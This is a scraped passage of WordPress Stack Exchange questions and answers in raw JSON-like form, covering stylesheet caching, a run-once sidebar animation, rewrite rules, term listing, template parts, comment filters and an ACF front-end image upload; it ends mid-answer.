etc.)</p>\n\n<p>Caching can be really a bitch:\nThe WebHosting may have a Cache mechanism working (e.g. Varnish Cache)\nThe Wordpress may have a Caching mechanism (as e.g. W3CTotalCache)\nWith the Browser Cache you have set a long Caching for css files (.htaccess)</p>\n\n<p>So if you have a good htaccess setup etc. all three caches should make it harder to refresh (specially) css changes.\nAs mmm pointed ot, to include the version in the functions.php is a very helpful and recommended method, but doesn't always work (for example Varnish Cache)</p>\n\n<p>So if you're in development, it's recommendable to turn off al caches while you are doing css changes, and stay with the \"version number refresh\", it's the most recommended method.\nIf it's already a production site, I recommend you to get used to empty all three caches before the refresh (for a few changes it's no problem).</p>\n\n<p>But there's no easier way, that's what caches and long-lifes are for.</p>\n" } ]
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282519", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125497/" ]
I am currently using a Mac computer and I cannot figure out how to refresh my website when I make changes to my WordPress stylesheet file. I have tried Cmd+R for hard reloading, I have tried emptying the caches, but nothing seems to work – the old version is still loaded nonetheless. I have used a windows computer before and every time I made a style change with my style.css sheet, I would just press ctrl + F5 and it would hard refresh right away. Does anyone know any tricks other than Cmd+R or clearing the caches to automatically refresh the stylesheet?
**"Quick" fix**: Right Click -> view page source ( ctrl+U ), find .css file you changed, open it in new tab and reload ( you should see change in place you've made it ) **ONLY in development mode** add php function time() in place of version number ``` wp_enqueue_style( $handle, $src, array(), time() , 'all' ); ``` Delete cache if you use caching plugin.
282,524
<p>I have a home template with a header, footer and a left sidebar.</p> <pre><code>&lt;?php get_header(); ?&gt; &lt;div class="content"&gt; &lt;?php get_sidebar('left'); ?&gt; &lt;div class="middlebar"&gt; this is the main content &lt;/div&gt; &lt;/div&gt; &lt;?php get_footer(); ?&gt; </code></pre> <p>After a click on one of the multiple options of the menu, the page template is loaded which has an additional right sidebar.</p> <pre><code>&lt;?php get_header(); ?&gt; &lt;div class="content"&gt; &lt;?php get_sidebar('left'); ?&gt; &lt;div class="middlebar"&gt; pagecontent &lt;/div&gt; &lt;?php get_sidebar('right'); ?&gt; &lt;/div&gt; &lt;?php get_footer(); ?&gt; </code></pre> <p>I animated this sidebar, that it slides in after the page is loaded.</p> <pre><code>jQuery(window).ready(function($){ $("#sidebarRight").animate({right: '0px'}); }); </code></pre> <p>My problem now is that the animation is played on every click on one of the menu points. So after a click on a link, the sidebar disappears only to reappear again. I want that the animation <em>is just played once when the user leaves the home template and enters the page template</em> (by clicking one of the menu points) and not during switching between the different pages.</p> <p>My first idea was to change the <code>middlebar div</code> with every click. So that not the whole page template is reloaded but just the new content is loaded and inserted in the div. A positive side effect would be that fewer data has to be loaded, but I was not able to prevent the multiple loading of the sidebar.</p> <p>I also tried to set cookies, but that worked neither.</p> <p>How can I load the sidebar only at the first click, so that the animation is also played just once.</p>
[ { "answer_id": 282540, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": 1, "selected": false, "text": "<p>If you want a site that have a \"state\", you will need to develop the theme to produce a sort of \"One Page Application\" in which the browser basically never reload pages, but is doing all updates via AJAX.</p>\n\n<p>Anything else means a full reload of the page and in that case the page will \"blink\" in any case so not sure of the value of eliminating the animation, but you can use a session cookie to keep a value indicating that the animation was done and check it before doing it again.</p>\n" }, { "answer_id": 282548, "author": "Taj Khan", "author_id": 128610, "author_profile": "https://wordpress.stackexchange.com/users/128610", "pm_score": 3, "selected": true, "text": "<p>you can write the script with a conditions </p>\n\n<pre><code>&lt;?php is_front_page(){ ?&gt;\n&lt;script&gt;\njQuery(window).ready(function($){\n $(\"#sidebarRight\").animate({right: '0px'});\n});\n&lt;/script&gt;\n&lt;?php } ?&gt;\n</code></pre>\n\n<p>alternatively you can set the cookie or localstorage that the animation has been completed</p>\n\n<pre><code>&lt;script&gt;\n if(!localStorage.getItem(\"animated\")){ // check if the animated is set if not set do the animation\n jQuery(window).ready(function($){\n jQuery(\"#sidebarRight\").animate({right: '0px'});\n localStorage.setItem(\"animated\", \"yes\"); // after comleting the animation set the animated so that animation does not happen again\n });\n}\n &lt;/script&gt;\n</code></pre>\n" } ]
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282524", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/107094/" ]
I have a home template with a header, footer and a left sidebar. ``` <?php get_header(); ?> <div class="content"> <?php get_sidebar('left'); ?> <div class="middlebar"> this is the main content </div> </div> <?php get_footer(); ?> ``` After a click on one of the multiple options of the menu, the page template is loaded which has an additional right sidebar. ``` <?php get_header(); ?> <div class="content"> <?php get_sidebar('left'); ?> <div class="middlebar"> pagecontent </div> <?php get_sidebar('right'); ?> </div> <?php get_footer(); ?> ``` I animated this sidebar, that it slides in after the page is loaded. ``` jQuery(window).ready(function($){ $("#sidebarRight").animate({right: '0px'}); }); ``` My problem now is that the animation is played on every click on one of the menu points. So after a click on a link, the sidebar disappears only to reappear again. I want that the animation *is just played once when the user leaves the home template and enters the page template* (by clicking one of the menu points) and not during switching between the different pages. My first idea was to change the `middlebar div` with every click. So that not the whole page template is reloaded but just the new content is loaded and inserted in the div. A positive side effect would be that fewer data has to be loaded, but I was not able to prevent the multiple loading of the sidebar. I also tried to set cookies, but that worked neither. How can I load the sidebar only at the first click, so that the animation is also played just once.
you can write the script with a conditions ``` <?php is_front_page(){ ?> <script> jQuery(window).ready(function($){ $("#sidebarRight").animate({right: '0px'}); }); </script> <?php } ?> ``` alternatively you can set the cookie or localstorage that the animation has been completed ``` <script> if(!localStorage.getItem("animated")){ // check if the animated is set if not set do the animation jQuery(window).ready(function($){ jQuery("#sidebarRight").animate({right: '0px'}); localStorage.setItem("animated", "yes"); // after comleting the animation set the animated so that animation does not happen again }); } </script> ```
282,528
<p>Must have inadvertently changed something recently as when visiting the base URL (i.e. the homepage) for my local development site it returns a 404. All of the other pages seem to work fine.</p> <p>As per other SE posts on the topics, have tested changing the permalinks settings and the .htacess file, from what I can tell, seems to be set appropriately.</p> <pre><code># BEGIN WordPress &lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteBase /dwp-wordpress/ RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /dwp-wordpress/index.php [L] &lt;/IfModule&gt; # END WordPress </code></pre> <p>The front page is set to Home, but what's strange is when this is changed to Blog, the 404 is resolved and the front-page.php is pulled appropriately.</p> <p>Does anyone have any idea as to what might be causing this issue?</p>
[ { "answer_id": 282738, "author": "Pat J", "author_id": 16121, "author_profile": "https://wordpress.stackexchange.com/users/16121", "pm_score": 1, "selected": false, "text": "<p>I haven't been able to find out how to do this automatically, but you can do it manually: Go to <strong>Network Admin » Sites</strong> and then click <strong>Edit</strong> on the site whose URL you want to change.</p>\n\n<p>You'll need to make sure that your DNS is set correctly.</p>\n\n<p>See <a href=\"https://wordpress.stackexchange.com/a/184667/16121\">this answer</a> (to a question that's pretty much the inverse of yours) for details.</p>\n" }, { "answer_id": 282739, "author": "rudtek", "author_id": 77767, "author_profile": "https://wordpress.stackexchange.com/users/77767", "pm_score": 0, "selected": false, "text": "<p>Your initial setup should have been toplevel, not a subdomain. ie (www.example.com or example.com) That's where your problem is. Right now wordpress thinks your toplevel is wordpress.example.com. and then it's adding subdomains to that.</p>\n" } ]
2017/10/10
[ "https://wordpress.stackexchange.com/questions/282528", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128906/" ]
Must have inadvertently changed something recently as when visiting the base URL (i.e. the homepage) for my local development site it returns a 404. All of the other pages seem to work fine. As per other SE posts on the topics, have tested changing the permalinks settings and the .htacess file, from what I can tell, seems to be set appropriately. ``` # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase /dwp-wordpress/ RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /dwp-wordpress/index.php [L] </IfModule> # END WordPress ``` The front page is set to Home, but what's strange is when this is changed to Blog, the 404 is resolved and the front-page.php is pulled appropriately. Does anyone have any idea as to what might be causing this issue?
I haven't been able to find out how to do this automatically, but you can do it manually: Go to **Network Admin » Sites** and then click **Edit** on the site whose URL you want to change. You'll need to make sure that your DNS is set correctly. See [this answer](https://wordpress.stackexchange.com/a/184667/16121) (to a question that's pretty much the inverse of yours) for details.
282,542
<p>hey im trying to figure out how i can display only two terms that are associated with a custom post type. I tried using <code>$wpdb</code> but that doesn't work for me since i need the term links as well. any suggestions?</p> <p>thanks</p>
[ { "answer_id": 282555, "author": "grazdev", "author_id": 129417, "author_profile": "https://wordpress.stackexchange.com/users/129417", "pm_score": 3, "selected": true, "text": "<p>Maybe this can help. First, get all the post's terms; then, cycle through them with a <code>foreach</code> loop to retrieve and echo each one's link. The last line of code will limit the cycle to the first two terms. </p>\n\n<pre><code> $terms = wp_get_post_terms(); // If you're not in the loop, you should pass the post's ID as an argument.\n\n $i = 0;\n\n foreach ( $terms as $term ) {\n\n $name = $term-&gt;name;\n $href = get_term_link( $term-&gt;term_id ); \n\n echo '&lt;a href=\"' . $href . '\"&gt;' . $name . '&lt;/a&gt;';\n\n if ( ++$i == 2 ) break; // Limit to first 2 tags\n\n }\n</code></pre>\n" }, { "answer_id": 282559, "author": "Jaed Mosharraf", "author_id": 129422, "author_profile": "https://wordpress.stackexchange.com/users/129422", "pm_score": 1, "selected": false, "text": "<p>You can get that using this default function</p>\n\n<pre><code>$args = array(\n 'orderby' =&gt; 'name', \n 'order' =&gt; 'ASC',\n 'hide_empty' =&gt; true, \n 'exclude' =&gt; array(), \n 'exclude_tree' =&gt; array(), \n 'include' =&gt; array(),\n 'number' =&gt; '', \n 'fields' =&gt; 'all', \n 'slug' =&gt; '',\n 'parent' =&gt; '',\n 'hierarchical' =&gt; true, \n 'child_of' =&gt; 0,\n 'childless' =&gt; false,\n 'get' =&gt; '', \n 'name__like' =&gt; '',\n 'description__like' =&gt; '',\n 'pad_counts' =&gt; false, \n 'offset' =&gt; '', \n 'search' =&gt; '', \n 'cache_domain' =&gt; 'core'\n ); \n $terms = get_terms($taxonomies, $args);\n</code></pre>\n\n<p>More details on this link:\n<a href=\"https://codex.wordpress.org/es:Function_Reference/get_terms\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/es:Function_Reference/get_terms</a></p>\n" } ]
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282542", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128699/" ]
hey im trying to figure out how i can display only two terms that are associated with a custom post type. I tried using `$wpdb` but that doesn't work for me since i need the term links as well. any suggestions? thanks
Maybe this can help. First, get all the post's terms; then, cycle through them with a `foreach` loop to retrieve and echo each one's link. The last line of code will limit the cycle to the first two terms. ``` $terms = wp_get_post_terms(); // If you're not in the loop, you should pass the post's ID as an argument. $i = 0; foreach ( $terms as $term ) { $name = $term->name; $href = get_term_link( $term->term_id ); echo '<a href="' . $href . '">' . $name . '</a>'; if ( ++$i == 2 ) break; // Limit to first 2 tags } ```
282,547
<p>I want to execute multiple different PHP snippets which all retrives 1 page ID (yes, I want to extend the code and display some other things then the page ID).</p> <p>But if I execute 2 or more snippets at the same time, I get a blank page...</p> <p>My question is, how can I fix this error and why and how does this error get caused?</p> <p>This is what I get from the error log:</p> <blockquote> <p>[Wed Oct 11 08:14:06.322845 2017] [proxy_fcgi:error] [pid 5616:tid 140278597940992] [client xx.xxx.xxx.xxx:xxxxx] AH01071: Got error 'PHP message: PHP Fatal error: Cannot redeclare getPages() (previously declared in /var/www/vhosts/classymagazin.de/httpdocs/wp-content/plugins/insert-php-code-snippet/shortcode-handler.php(29) : eval()'d code:5) in /var/www/vhosts/classymagazin.de/httpdocs/wp-content/plugins/insert-php-code-snippet/shortcode-handler.php(29) : eval()'d code on line 12\n'</p> </blockquote> <p>This is the PHP code for the latest page:</p> <pre><code>&lt;?php function getPages(){ $args = array( 'sort_order' =&gt; 'desc', 'sort_column' =&gt; 'post_date', 'post_type' =&gt; 'page', 'number' =&gt; '26', 'post_status' =&gt; 'publish'); return get_pages($args); } function filterPages($allNews, $pages){ foreach($pages as $page) { $pid = $page-&gt;ID; $object = get_the_category($pid); $termsForPost = array(); foreach($object as $terms) { if($terms-&gt;term_id == 15 || $terms-&gt;term_id == 16){ $termsForPost[] = $terms-&gt;term_id; } } if(in_array(15, $termsForPost) &amp;&amp; in_array(16, $termsForPost)){ $allNews[$pid] = array("ID" =&gt; $pid, "Sticky" =&gt; true, "Timestamp" =&gt; get_the_time('U', $pid), "Title" =&gt; get_the_title($pid)); }else if(in_array(15, $termsForPost)){ $allNews[$pid] = array("ID" =&gt; $pid, "Sticky" =&gt; false, "Timestamp" =&gt; get_the_time('U', $pid), "Title" =&gt; get_the_title($pid)); } } return $allNews; } function sortPages($allNews){ $stickyPosts = array(); $nonStickyPosts = array(); foreach($allNews as $article){ if($article["Sticky"] == true){ $stickyPosts[] = $article["ID"]; }else{ $nonStickyPosts[] = $article["ID"]; } } $allNews = null; foreach($stickyPosts as $tmp){ $allNews[] = $tmp; } foreach($nonStickyPosts as $tmp){ $allNews[] = $tmp; } return $allNews; } function getAllArticle($index = 0){ if($index == 0){ $allNews = array(); $pages = getPages(); $allNews = filterPages($allNews, $pages); $allNews = sortPages($allNews); foreach($allNews as $article){ var_dump($article); echo "&lt;br&gt;"; } }else{ $allNews = array(); $pages = getPages(); $allNews = filterPages($allNews, $pages); $allNews = sortPages($allNews); var_dump($allNews[$index - 1]); } } getAllArticle(1); ?&gt; </code></pre> <p>Kind regards</p>
[ { "answer_id": 282555, "author": "grazdev", "author_id": 129417, "author_profile": "https://wordpress.stackexchange.com/users/129417", "pm_score": 3, "selected": true, "text": "<p>Maybe this can help. First, get all the post's terms; then, cycle through them with a <code>foreach</code> loop to retrieve and echo each one's link. The last line of code will limit the cycle to the first two terms. </p>\n\n<pre><code> $terms = wp_get_post_terms(); // If you're not in the loop, you should pass the post's ID as an argument.\n\n $i = 0;\n\n foreach ( $terms as $term ) {\n\n $name = $term-&gt;name;\n $href = get_term_link( $term-&gt;term_id ); \n\n echo '&lt;a href=\"' . $href . '\"&gt;' . $name . '&lt;/a&gt;';\n\n if ( ++$i == 2 ) break; // Limit to first 2 tags\n\n }\n</code></pre>\n" }, { "answer_id": 282559, "author": "Jaed Mosharraf", "author_id": 129422, "author_profile": "https://wordpress.stackexchange.com/users/129422", "pm_score": 1, "selected": false, "text": "<p>You can get that using this default function</p>\n\n<pre><code>$args = array(\n 'orderby' =&gt; 'name', \n 'order' =&gt; 'ASC',\n 'hide_empty' =&gt; true, \n 'exclude' =&gt; array(), \n 'exclude_tree' =&gt; array(), \n 'include' =&gt; array(),\n 'number' =&gt; '', \n 'fields' =&gt; 'all', \n 'slug' =&gt; '',\n 'parent' =&gt; '',\n 'hierarchical' =&gt; true, \n 'child_of' =&gt; 0,\n 'childless' =&gt; false,\n 'get' =&gt; '', \n 'name__like' =&gt; '',\n 'description__like' =&gt; '',\n 'pad_counts' =&gt; false, \n 'offset' =&gt; '', \n 'search' =&gt; '', \n 'cache_domain' =&gt; 'core'\n ); \n $terms = get_terms($taxonomies, $args);\n</code></pre>\n\n<p>More details on this link:\n<a href=\"https://codex.wordpress.org/es:Function_Reference/get_terms\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/es:Function_Reference/get_terms</a></p>\n" } ]
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282547", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129413/" ]
I want to execute multiple different PHP snippets which all retrives 1 page ID (yes, I want to extend the code and display some other things then the page ID). But if I execute 2 or more snippets at the same time, I get a blank page... My question is, how can I fix this error and why and how does this error get caused? This is what I get from the error log: > > [Wed Oct 11 08:14:06.322845 2017] [proxy\_fcgi:error] [pid 5616:tid > 140278597940992] [client xx.xxx.xxx.xxx:xxxxx] AH01071: Got error 'PHP > message: PHP Fatal error: Cannot redeclare getPages() (previously > declared in > /var/www/vhosts/classymagazin.de/httpdocs/wp-content/plugins/insert-php-code-snippet/shortcode-handler.php(29) > : eval()'d code:5) in > /var/www/vhosts/classymagazin.de/httpdocs/wp-content/plugins/insert-php-code-snippet/shortcode-handler.php(29) > : eval()'d code on line 12\n' > > > This is the PHP code for the latest page: ``` <?php function getPages(){ $args = array( 'sort_order' => 'desc', 'sort_column' => 'post_date', 'post_type' => 'page', 'number' => '26', 'post_status' => 'publish'); return get_pages($args); } function filterPages($allNews, $pages){ foreach($pages as $page) { $pid = $page->ID; $object = get_the_category($pid); $termsForPost = array(); foreach($object as $terms) { if($terms->term_id == 15 || $terms->term_id == 16){ $termsForPost[] = $terms->term_id; } } if(in_array(15, $termsForPost) && in_array(16, $termsForPost)){ $allNews[$pid] = array("ID" => $pid, "Sticky" => true, "Timestamp" => get_the_time('U', $pid), "Title" => get_the_title($pid)); }else if(in_array(15, $termsForPost)){ $allNews[$pid] = array("ID" => $pid, "Sticky" => false, "Timestamp" => get_the_time('U', $pid), "Title" => get_the_title($pid)); } } return $allNews; } function sortPages($allNews){ $stickyPosts = array(); $nonStickyPosts = array(); foreach($allNews as $article){ if($article["Sticky"] == true){ $stickyPosts[] = $article["ID"]; }else{ $nonStickyPosts[] = $article["ID"]; } } $allNews = null; foreach($stickyPosts as $tmp){ $allNews[] = $tmp; } foreach($nonStickyPosts as $tmp){ $allNews[] = $tmp; } return $allNews; } function getAllArticle($index = 0){ if($index == 0){ $allNews = array(); $pages = getPages(); $allNews = filterPages($allNews, $pages); $allNews = sortPages($allNews); foreach($allNews as $article){ var_dump($article); echo "<br>"; } }else{ $allNews = array(); $pages = getPages(); $allNews = filterPages($allNews, $pages); $allNews = sortPages($allNews); var_dump($allNews[$index - 1]); } } getAllArticle(1); ?> ``` Kind regards
Maybe this can help. First, get all the post's terms; then, cycle through them with a `foreach` loop to retrieve and echo each one's link. The last line of code will limit the cycle to the first two terms. ``` $terms = wp_get_post_terms(); // If you're not in the loop, you should pass the post's ID as an argument. $i = 0; foreach ( $terms as $term ) { $name = $term->name; $href = get_term_link( $term->term_id ); echo '<a href="' . $href . '">' . $name . '</a>'; if ( ++$i == 2 ) break; // Limit to first 2 tags } ```
282,563
<p>I have comment.php in my template but when i change it not effect</p> <p>What's problem? </p> <p>I want add Welcome to + title of post + continue text .....</p> <p></p> <pre><code>&lt;?php // You can start editing here -- including this comment! if ( have_comments() ) : ?&gt; &lt;h2 class="comments-title"&gt; &lt;?php $comments_number = get_comments_number(); if ( '1' === $comments_number ) { /* translators: %s: post title */ printf( _x( 'One thought to &amp;ldquo;%s&amp;rdquo;', 'comments title', 'sparkling' ), get_the_title() ); } else { printf( /* translators: 1: number of comments, 2: post title */ _nx( '%1$s thought to &amp;ldquo;%2$s&amp;rdquo;', '%1$s thoughts to &amp;ldquo;%2$s&amp;rdquo;', $comments_number, 'comments title', 'sparkling' ), number_format_i18n( $comments_number ), get_the_title() ); } ?&gt; &lt;/h2&gt; &lt;?php if ( get_comment_pages_count() &gt; 1 &amp;&amp; get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?&gt; &lt;nav id="comment-nav-above" class="navigation comment-navigation" role="navigation"&gt; &lt;h2 class="screen-reader-text"&gt;&lt;?php esc_html_e( 'Comment navigation', 'sparkling' ); ?&gt;&lt;/h2&gt; &lt;div class="nav-links"&gt; &lt;div class="nav-previous"&gt;&lt;?php previous_comments_link( esc_html__( 'Older Comments', 'sparkling' ) ); ?&gt;&lt;/div&gt; &lt;div class="nav-next"&gt;&lt;?php next_comments_link( esc_html__( 'Newer Comments', 'sparkling' ) ); ?&gt;&lt;/div&gt; &lt;/div&gt;&lt;!-- .nav-links --&gt; &lt;/nav&gt;&lt;!-- #comment-nav-above --&gt; &lt;?php endif; // Check for comment navigation. ?&gt; &lt;ol class="comment-list"&gt; &lt;?php wp_list_comments( array( 'style' =&gt; 'ol', 'short_ping' =&gt; true, 'avatar_size' =&gt; 60, ) ); ?&gt; &lt;/ol&gt;&lt;!-- .comment-list --&gt; &lt;?php if ( get_comment_pages_count() &gt; 1 &amp;&amp; get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?&gt; &lt;nav id="comment-nav-below" class="navigation comment-navigation" role="navigation"&gt; &lt;h2 class="screen-reader-text"&gt;&lt;?php esc_html_e( 'Comment navigation', 'sparkling' ); ?&gt;&lt;/h2&gt; &lt;div class="nav-links"&gt; &lt;div class="nav-previous"&gt;&lt;?php previous_comments_link( esc_html__( 'Older Comments', 'sparkling' ) ); ?&gt;&lt;/div&gt; &lt;div class="nav-next"&gt;&lt;?php next_comments_link( esc_html__( 'Newer Comments', 'sparkling' ) ); ?&gt;&lt;/div&gt; &lt;/div&gt;&lt;!-- .nav-links --&gt; &lt;/nav&gt;&lt;!-- #comment-nav-below --&gt; &lt;?php endif; // Check for comment navigation. endif; // Check for have_comments(). // If comments are closed and there are comments, let's leave a little note, shall we? if ( ! comments_open() &amp;&amp; get_comments_number() &amp;&amp; post_type_supports( get_post_type(), 'comments' ) ) : ?&gt; &lt;p class="no-comments"&gt;&lt;?php esc_html_e( 'Comments are closed.', 'sparkling' ); ?&gt;&lt;/p&gt; &lt;?php endif; comment_form(); ?&gt; </code></pre> function addText() { var input = document.getElementById('comment'); input.value = 'lots of new text ' + input.value; } Comment </p> <p></p>
[ { "answer_id": 282564, "author": "Jaed Mosharraf", "author_id": 129422, "author_profile": "https://wordpress.stackexchange.com/users/129422", "pm_score": 3, "selected": true, "text": "<p>You can use this filter hook to add this</p>\n\n<pre><code>apply_filters( 'pre_comment_content', string $comment_content );\n</code></pre>\n\n<p>Here is the code how you can use this</p>\n\n<pre><code>function add_custom_comment_content( $comment_content ) {\n\n // You can handle it many ways \n $comment_content .= \"Custom Content\"\n}\nadd_filter( 'pre_comment_content', 'add_custom_comment_content', 10, 1 ); \n</code></pre>\n" }, { "answer_id": 282570, "author": "moh3en", "author_id": 128030, "author_profile": "https://wordpress.stackexchange.com/users/128030", "pm_score": 0, "selected": false, "text": "<blockquote>\n <p>apply_filters( 'pre_comment_content', string $comment_content );</p>\n</blockquote>\n\n<p>Where is apply_filters ? I not found in my source code</p>\n" } ]
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282563", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128030/" ]
I have comment.php in my template but when i change it not effect What's problem? I want add Welcome to + title of post + continue text ..... ``` <?php // You can start editing here -- including this comment! if ( have_comments() ) : ?> <h2 class="comments-title"> <?php $comments_number = get_comments_number(); if ( '1' === $comments_number ) { /* translators: %s: post title */ printf( _x( 'One thought to &ldquo;%s&rdquo;', 'comments title', 'sparkling' ), get_the_title() ); } else { printf( /* translators: 1: number of comments, 2: post title */ _nx( '%1$s thought to &ldquo;%2$s&rdquo;', '%1$s thoughts to &ldquo;%2$s&rdquo;', $comments_number, 'comments title', 'sparkling' ), number_format_i18n( $comments_number ), get_the_title() ); } ?> </h2> <?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?> <nav id="comment-nav-above" class="navigation comment-navigation" role="navigation"> <h2 class="screen-reader-text"><?php esc_html_e( 'Comment navigation', 'sparkling' ); ?></h2> <div class="nav-links"> <div class="nav-previous"><?php previous_comments_link( esc_html__( 'Older Comments', 'sparkling' ) ); ?></div> <div class="nav-next"><?php next_comments_link( esc_html__( 'Newer Comments', 'sparkling' ) ); ?></div> </div><!-- .nav-links --> </nav><!-- #comment-nav-above --> <?php endif; // Check for comment navigation. ?> <ol class="comment-list"> <?php wp_list_comments( array( 'style' => 'ol', 'short_ping' => true, 'avatar_size' => 60, ) ); ?> </ol><!-- .comment-list --> <?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // Are there comments to navigate through? ?> <nav id="comment-nav-below" class="navigation comment-navigation" role="navigation"> <h2 class="screen-reader-text"><?php esc_html_e( 'Comment navigation', 'sparkling' ); ?></h2> <div class="nav-links"> <div class="nav-previous"><?php previous_comments_link( esc_html__( 'Older Comments', 'sparkling' ) ); ?></div> <div class="nav-next"><?php next_comments_link( esc_html__( 'Newer Comments', 'sparkling' ) ); ?></div> </div><!-- .nav-links --> </nav><!-- #comment-nav-below --> <?php endif; // Check for comment navigation. endif; // Check for have_comments(). // If comments are closed and there are comments, let's leave a little note, shall we? if ( ! comments_open() && get_comments_number() && post_type_supports( get_post_type(), 'comments' ) ) : ?> <p class="no-comments"><?php esc_html_e( 'Comments are closed.', 'sparkling' ); ?></p> <?php endif; comment_form(); ?> ``` function addText() { var input = document.getElementById('comment'); input.value = 'lots of new text ' + input.value; } Comment
You can use this filter hook to add this ``` apply_filters( 'pre_comment_content', string $comment_content ); ``` Here is the code how you can use this ``` function add_custom_comment_content( $comment_content ) { // You can handle it many ways $comment_content .= "Custom Content" } add_filter( 'pre_comment_content', 'add_custom_comment_content', 10, 1 ); ```
282,571
<p>I have the following file structure (simplified): </p> <pre><code>— app — header.php - views - header-default.php </code></pre> <p>In header.php, I'm using <code>get_template_part</code> as follows:</p> <pre><code>&lt;?php get_template_part( 'app/views/header/header', 'default' ); ?&gt; </code></pre> <p>This works, but suppose in the future I need to change my folder structure or simply rename the "app" folder. It won't work anymore. How do I make <code>get_template_part</code> always relative to the file I'm using it in? I tried: </p> <pre><code>&lt;?php get_template_part( __DIR__ . '/views/header/header', 'default' ); ?&gt; </code></pre> <p>but it's not working. I guess Wordpress always uses the root directory as a starting point to interpret the path. What options do I have? </p>
[ { "answer_id": 282564, "author": "Jaed Mosharraf", "author_id": 129422, "author_profile": "https://wordpress.stackexchange.com/users/129422", "pm_score": 3, "selected": true, "text": "<p>You can use this filter hook to add this</p>\n\n<pre><code>apply_filters( 'pre_comment_content', string $comment_content );\n</code></pre>\n\n<p>Here is the code how you can use this</p>\n\n<pre><code>function add_custom_comment_content( $comment_content ) {\n\n // You can handle it many ways \n $comment_content .= \"Custom Content\"\n}\nadd_filter( 'pre_comment_content', 'add_custom_comment_content', 10, 1 ); \n</code></pre>\n" }, { "answer_id": 282570, "author": "moh3en", "author_id": 128030, "author_profile": "https://wordpress.stackexchange.com/users/128030", "pm_score": 0, "selected": false, "text": "<blockquote>\n <p>apply_filters( 'pre_comment_content', string $comment_content );</p>\n</blockquote>\n\n<p>Where is apply_filters ? I not found in my source code</p>\n" } ]
2017/10/11
[ "https://wordpress.stackexchange.com/questions/282571", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129417/" ]
I have the following file structure (simplified): ``` — app — header.php - views - header-default.php ``` In header.php, I'm using `get_template_part` as follows: ``` <?php get_template_part( 'app/views/header/header', 'default' ); ?> ``` This works, but suppose in the future I need to change my folder structure or simply rename the "app" folder. It won't work anymore. How do I make `get_template_part` always relative to the file I'm using it in? I tried: ``` <?php get_template_part( __DIR__ . '/views/header/header', 'default' ); ?> ``` but it's not working. I guess Wordpress always uses the root directory as a starting point to interpret the path. What options do I have?
You can use this filter hook to add this ``` apply_filters( 'pre_comment_content', string $comment_content ); ``` Here is the code how you can use this ``` function add_custom_comment_content( $comment_content ) { // You can handle it many ways $comment_content .= "Custom Content" } add_filter( 'pre_comment_content', 'add_custom_comment_content', 10, 1 ); ```
282,586
<p>I created extra fields for my subscribers, one of them is an image field, so they can upload an image to their profile.</p> <p>I created the fields with ACF (Advanced Custom Fields).</p> <p>I have a custom register form and a custom edit form, with the regular WordPress fields and the extra ones. Everything works perfectly... Except for the image field.</p> <p>I'm not worried about the register form, I accept that the user won't upload the image when registering, but I need them to be able to edit/upload the image when editting their info.</p> <p><em>Ps.(1):The image will be used as the avatar, I won't use the regular WordPress avatar.</em></p> <p><em>Ps.(2):I won't use the acf_form() because I need to edit too much on how the form works.</em></p> <p><strong>Here is part of the code:</strong></p> <pre><code>&lt;label for="avatar_user"&gt;&lt;/label&gt; &lt;input class="text-input" name="avatar_user" type="file" id="avatar_user" value="&lt;?php the_author_meta( 'avatar_user', $current_user-&gt;ID ); ?&gt;" /&gt; if ( !empty( $_POST['avatar_user'] ) ) : update_user_meta( $current_user-&gt;ID, 'avatar_user', esc_attr( $_POST['avatar_user'] ) ); </code></pre>
[ { "answer_id": 282590, "author": "Randomer11", "author_id": 62291, "author_profile": "https://wordpress.stackexchange.com/users/62291", "pm_score": 2, "selected": false, "text": "<p>Maybe something like this will help : </p>\n\n<pre><code>// Deal with images uploaded from the front-end while allowing ACF to do it's thing\nfunction my_acf_pre_save_post($post_id) {\n\nif ( !function_exists('wp_handle_upload') ) {\nrequire_once(ABSPATH . 'wp-admin/includes/file.php');\n}\n\n// Move file to media library\n$movefile = wp_handle_upload( $_FILES['my_image_upload'], array('test_form' =&gt; false) );\n\n// If move was successful, insert WordPress attachment\nif ( $movefile &amp;&amp; !isset($movefile['error']) ) {\n$wp_upload_dir = wp_upload_dir();\n$attachment = array(\n'guid' =&gt; $wp_upload_dir['url'] . '/' . basename($movefile['file']),\n'post_mime_type' =&gt; $movefile['type'],\n'post_title' =&gt; preg_replace( '/\\.[^.]+$/', ”, basename($movefile['file']) ),\n'post_content' =&gt; ”,\n'post_status' =&gt; 'inherit'\n);\n$attach_id = wp_insert_attachment($attachment, $movefile['file']);\n\n// Assign the file as the featured image\nset_post_thumbnail($post_id, $attach_id);\nupdate_field('my_image_upload', $attach_id, $post_id);\n\n}\n\nreturn $post_id;\n\n}\n\nadd_filter('acf/pre_save_post' , 'my_acf_pre_save_post');\n</code></pre>\n\n<p>Copy the code from this post, the page I linked to below breaks the formatting so I've fixed it in the above sample. </p>\n\n<p>Source : <a href=\"https://support.advancedcustomfields.com/forums/topic/uploading-imagefile-on-the-front-end/\" rel=\"nofollow 